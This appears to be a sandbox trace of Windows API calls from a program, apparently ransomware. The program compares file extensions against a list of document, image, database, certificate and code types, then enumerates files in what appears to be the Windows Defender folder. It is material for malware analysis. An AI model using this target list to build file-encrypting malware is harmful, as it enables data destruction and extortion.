	[0179.470] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".doc") returned 4
	[0179.471] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".docm") returned 5
	[0179.471] lstrcmpiW (lpString1=".docm", lpString2="v.exe") returned -1
	[0179.471] lstrlenW (lpString=".docx") returned 5
	[0179.471] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1
	[0179.471] lstrlenW (lpString=".dot") returned 4
	[0179.471] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dotm") returned 5
	[0179.471] lstrcmpiW (lpString1=".dotm", lpString2="v.exe") returned -1
	[0179.471] lstrlenW (lpString=".dotx") returned 5
	[0179.471] lstrcmpiW (lpString1=".dotx", lpString2="v.exe") returned -1
	[0179.471] lstrlenW (lpString=".dpx") returned 4
	[0179.471] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dqy") returned 4
	[0179.471] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dsn") returned 4
	[0179.471] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dt") returned 3
	[0179.471] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0179.471] lstrlenW (lpString=".dtd") returned 4
	[0179.471] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dwg") returned 4
	[0179.471] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dwt") returned 4
	[0179.471] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0179.471] lstrlenW (lpString=".dx") returned 3
	[0179.471] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0179.471] lstrlenW (lpString=".dxf") returned 4
	[0179.471] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".edml") returned 5
	[0179.472] lstrcmpiW (lpString1=".edml", lpString2="v.exe") returned -1
	[0179.472] lstrlenW (lpString=".efd") returned 4
	[0179.472] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".elf") returned 4
	[0179.472] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".emf") returned 4
	[0179.472] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".emz") returned 4
	[0179.472] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".epf") returned 4
	[0179.472] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".eps") returned 4
	[0179.472] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".epsf") returned 5
	[0179.472] lstrcmpiW (lpString1=".epsf", lpString2="v.exe") returned -1
	[0179.472] lstrlenW (lpString=".epsp") returned 5
	[0179.472] lstrcmpiW (lpString1=".epsp", lpString2="v.exe") returned -1
	[0179.472] lstrlenW (lpString=".erf") returned 4
	[0179.472] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0179.472] lstrlenW (lpString=".exr") returned 4
	[0179.472] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0179.472] lstrlenW (lpString=".f4v") returned 4
	[0179.472] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0179.472] lstrlenW (lpString=".fido") returned 5
	[0179.472] lstrcmpiW (lpString1=".fido", lpString2="v.exe") returned -1
	[0179.472] lstrlenW (lpString=".flm") returned 4
	[0179.472] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0179.472] lstrlenW (lpString=".flv") returned 4
	[0179.472] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".frm") returned 4
	[0179.473] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".fxg") returned 4
	[0179.473] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".geo") returned 4
	[0179.473] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".gif") returned 4
	[0179.473] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".grs") returned 4
	[0179.473] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".gz") returned 3
	[0179.473] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0179.473] lstrlenW (lpString=".h") returned 2
	[0179.473] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0179.473] lstrlenW (lpString=".hdr") returned 4
	[0179.473] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".hpp") returned 4
	[0179.473] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".hta") returned 4
	[0179.473] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".htc") returned 4
	[0179.473] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".htm") returned 4
	[0179.473] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".html") returned 5
	[0179.473] lstrcmpiW (lpString1=".html", lpString2="v.exe") returned -1
	[0179.473] lstrlenW (lpString=".icb") returned 4
	[0179.473] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0179.473] lstrlenW (lpString=".ics") returned 4
	[0179.473] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".iff") returned 4
	[0179.474] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".inc") returned 4
	[0179.474] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".indd") returned 5
	[0179.474] lstrcmpiW (lpString1=".indd", lpString2="v.exe") returned -1
	[0179.474] lstrlenW (lpString=".ini") returned 4
	[0179.474] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".iqy") returned 4
	[0179.474] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".j2c") returned 4
	[0179.474] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".j2k") returned 4
	[0179.474] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".java") returned 5
	[0179.474] lstrcmpiW (lpString1=".java", lpString2="v.exe") returned -1
	[0179.474] lstrlenW (lpString=".jp2") returned 4
	[0179.474] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".jpc") returned 4
	[0179.474] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".jpe") returned 4
	[0179.474] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".jpeg") returned 5
	[0179.474] lstrcmpiW (lpString1=".jpeg", lpString2="v.exe") returned -1
	[0179.474] lstrlenW (lpString=".jpf") returned 4
	[0179.474] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".jpg") returned 4
	[0179.474] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0179.474] lstrlenW (lpString=".jpx") returned 4
	[0179.474] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0179.475] lstrlenW (lpString=".js") returned 3
	[0179.475] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0179.475] lstrlenW (lpString=".jsf") returned 4
	[0179.475] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0179.475] lstrlenW (lpString=".json") returned 5
	[0179.475] lstrcmpiW (lpString1=".json", lpString2="v.exe") returned -1
	[0179.519] lstrlenW (lpString=".jsp") returned 4
	[0179.519] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0179.519] lstrlenW (lpString=".kdc") returned 4
	[0179.519] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0179.519] lstrlenW (lpString=".kmz") returned 4
	[0179.519] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0179.519] lstrlenW (lpString=".kwm") returned 4
	[0179.519] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".lasso") returned 6
	[0179.520] lstrcmpiW (lpString1=".lasso", lpString2="rv.exe") returned -1
	[0179.520] lstrlenW (lpString=".lbi") returned 4
	[0179.520] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".lgf") returned 4
	[0179.520] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".lgp") returned 4
	[0179.520] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".log") returned 4
	[0179.520] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".m1v") returned 4
	[0179.520] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".m4a") returned 4
	[0179.520] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".m4v") returned 4
	[0179.520] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".max") returned 4
	[0179.520] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".md") returned 3
	[0179.520] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0179.520] lstrlenW (lpString=".mda") returned 4
	[0179.520] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".mdb") returned 4
	[0179.520] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".mde") returned 4
	[0179.520] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".mdf") returned 4
	[0179.520] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".mdw") returned 4
	[0179.520] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0179.520] lstrlenW (lpString=".mef") returned 4
	[0179.520] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mft") returned 4
	[0179.521] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mfw") returned 4
	[0179.521] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mht") returned 4
	[0179.521] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mhtml") returned 6
	[0179.521] lstrcmpiW (lpString1=".mhtml", lpString2="rv.exe") returned -1
	[0179.521] lstrlenW (lpString=".mka") returned 4
	[0179.521] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mkidx") returned 6
	[0179.521] lstrcmpiW (lpString1=".mkidx", lpString2="rv.exe") returned -1
	[0179.521] lstrlenW (lpString=".mkv") returned 4
	[0179.521] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mos") returned 4
	[0179.521] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mov") returned 4
	[0179.521] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mp3") returned 4
	[0179.521] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mp4") returned 4
	[0179.521] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mpeg") returned 5
	[0179.521] lstrcmpiW (lpString1=".mpeg", lpString2="v.exe") returned -1
	[0179.521] lstrlenW (lpString=".mpg") returned 4
	[0179.521] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mpv") returned 4
	[0179.521] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".mrw") returned 4
	[0179.521] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0179.521] lstrlenW (lpString=".msg") returned 4
	[0179.521] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".mxl") returned 4
	[0179.522] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".myd") returned 4
	[0179.522] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".myi") returned 4
	[0179.522] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".nef") returned 4
	[0179.522] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".nrw") returned 4
	[0179.522] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".obj") returned 4
	[0179.522] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".odb") returned 4
	[0179.522] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".odc") returned 4
	[0179.522] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".odm") returned 4
	[0179.522] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".odp") returned 4
	[0179.522] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".ods") returned 4
	[0179.522] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".oft") returned 4
	[0179.522] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".one") returned 4
	[0179.522] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0179.522] lstrlenW (lpString=".onepkg") returned 7
	[0179.522] lstrcmpiW (lpString1=".onepkg", lpString2="Srv.exe") returned -1
	[0179.522] lstrlenW (lpString=".onetoc2") returned 8
	[0179.522] lstrcmpiW (lpString1=".onetoc2", lpString2="XSrv.exe") returned -1
	[0179.522] lstrlenW (lpString=".opt") returned 4
	[0179.522] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".oqy") returned 4
	[0179.523] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".orf") returned 4
	[0179.523] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".p12") returned 4
	[0179.523] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".p7b") returned 4
	[0179.523] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".p7c") returned 4
	[0179.523] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pam") returned 4
	[0179.523] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pbm") returned 4
	[0179.523] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pct") returned 4
	[0179.523] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pcx") returned 4
	[0179.523] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pdd") returned 4
	[0179.523] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pdf") returned 4
	[0179.523] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pdp") returned 4
	[0179.523] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pef") returned 4
	[0179.523] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pem") returned 4
	[0179.523] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pff") returned 4
	[0179.523] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pfm") returned 4
	[0179.523] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0179.523] lstrlenW (lpString=".pfx") returned 4
	[0179.524] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".pgm") returned 4
	[0179.524] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".php") returned 4
	[0179.524] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".php3") returned 5
	[0179.524] lstrcmpiW (lpString1=".php3", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".php4") returned 5
	[0179.524] lstrcmpiW (lpString1=".php4", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".php5") returned 5
	[0179.524] lstrcmpiW (lpString1=".php5", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".phtml") returned 6
	[0179.524] lstrcmpiW (lpString1=".phtml", lpString2="rv.exe") returned -1
	[0179.524] lstrlenW (lpString=".pict") returned 5
	[0179.524] lstrcmpiW (lpString1=".pict", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".pl") returned 3
	[0179.524] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0179.524] lstrlenW (lpString=".pls") returned 4
	[0179.524] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".pm") returned 3
	[0179.524] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0179.524] lstrlenW (lpString=".png") returned 4
	[0179.524] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".pnm") returned 4
	[0179.524] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".pot") returned 4
	[0179.524] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0179.524] lstrlenW (lpString=".potm") returned 5
	[0179.524] lstrcmpiW (lpString1=".potm", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".potx") returned 5
	[0179.524] lstrcmpiW (lpString1=".potx", lpString2="v.exe") returned -1
	[0179.524] lstrlenW (lpString=".ppa") returned 4
	[0179.525] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".ppam") returned 5
	[0179.525] lstrcmpiW (lpString1=".ppam", lpString2="v.exe") returned -1
	[0179.525] lstrlenW (lpString=".ppm") returned 4
	[0179.525] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pps") returned 4
	[0179.525] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".ppsm") returned 5
	[0179.525] lstrcmpiW (lpString1=".ppsm", lpString2="v.exe") returned -1
	[0179.525] lstrlenW (lpString=".ppt") returned 4
	[0179.525] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pptm") returned 5
	[0179.525] lstrcmpiW (lpString1=".pptm", lpString2="v.exe") returned -1
	[0179.525] lstrlenW (lpString=".pptx") returned 5
	[0179.525] lstrcmpiW (lpString1=".pptx", lpString2="v.exe") returned -1
	[0179.525] lstrlenW (lpString=".prn") returned 4
	[0179.525] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".ps") returned 3
	[0179.525] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0179.525] lstrlenW (lpString=".psb") returned 4
	[0179.525] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".psd") returned 4
	[0179.525] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pst") returned 4
	[0179.525] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".ptx") returned 4
	[0179.525] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pub") returned 4
	[0179.525] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pwm") returned 4
	[0179.525] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0179.525] lstrlenW (lpString=".pxr") returned 4
	[0179.525] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0179.526] lstrlenW (lpString=".py") returned 3
	[0179.526] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0179.526] lstrlenW (lpString=".qt") returned 3
	[0179.526] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0179.526] lstrlenW (lpString=".r3d") returned 4
	[0179.526] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0179.526] lstrlenW (lpString=".raf") returned 4
	[0179.526] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0179.526] lstrlenW (lpString=".rar") returned 4
	[0179.526] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0179.526] lstrlenW (lpString=".raw") returned 4
	[0179.526] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0179.526] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x92ec92b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x137d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1
	[0179.526] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x999a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCuiL.exe", cAlternateFileName="")) returned 1
	[0179.526] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x147a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0179.526] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x849e6f2, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x191a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpEng.exe", cAlternateFileName="")) returned 1
	[0179.526] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0179.527] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x89d596d, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6c9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1
	[0179.527] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpResL.dll", cAlternateFileName="")) returned 1
	[0179.527] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.dll", cAlternateFileName="")) returned 1
	[0179.528] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x538f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisSrv.exe", cAlternateFileName="")) returned 1
	[0179.528] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisWfp.dll", cAlternateFileName="")) returned 1
	[0179.528] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1
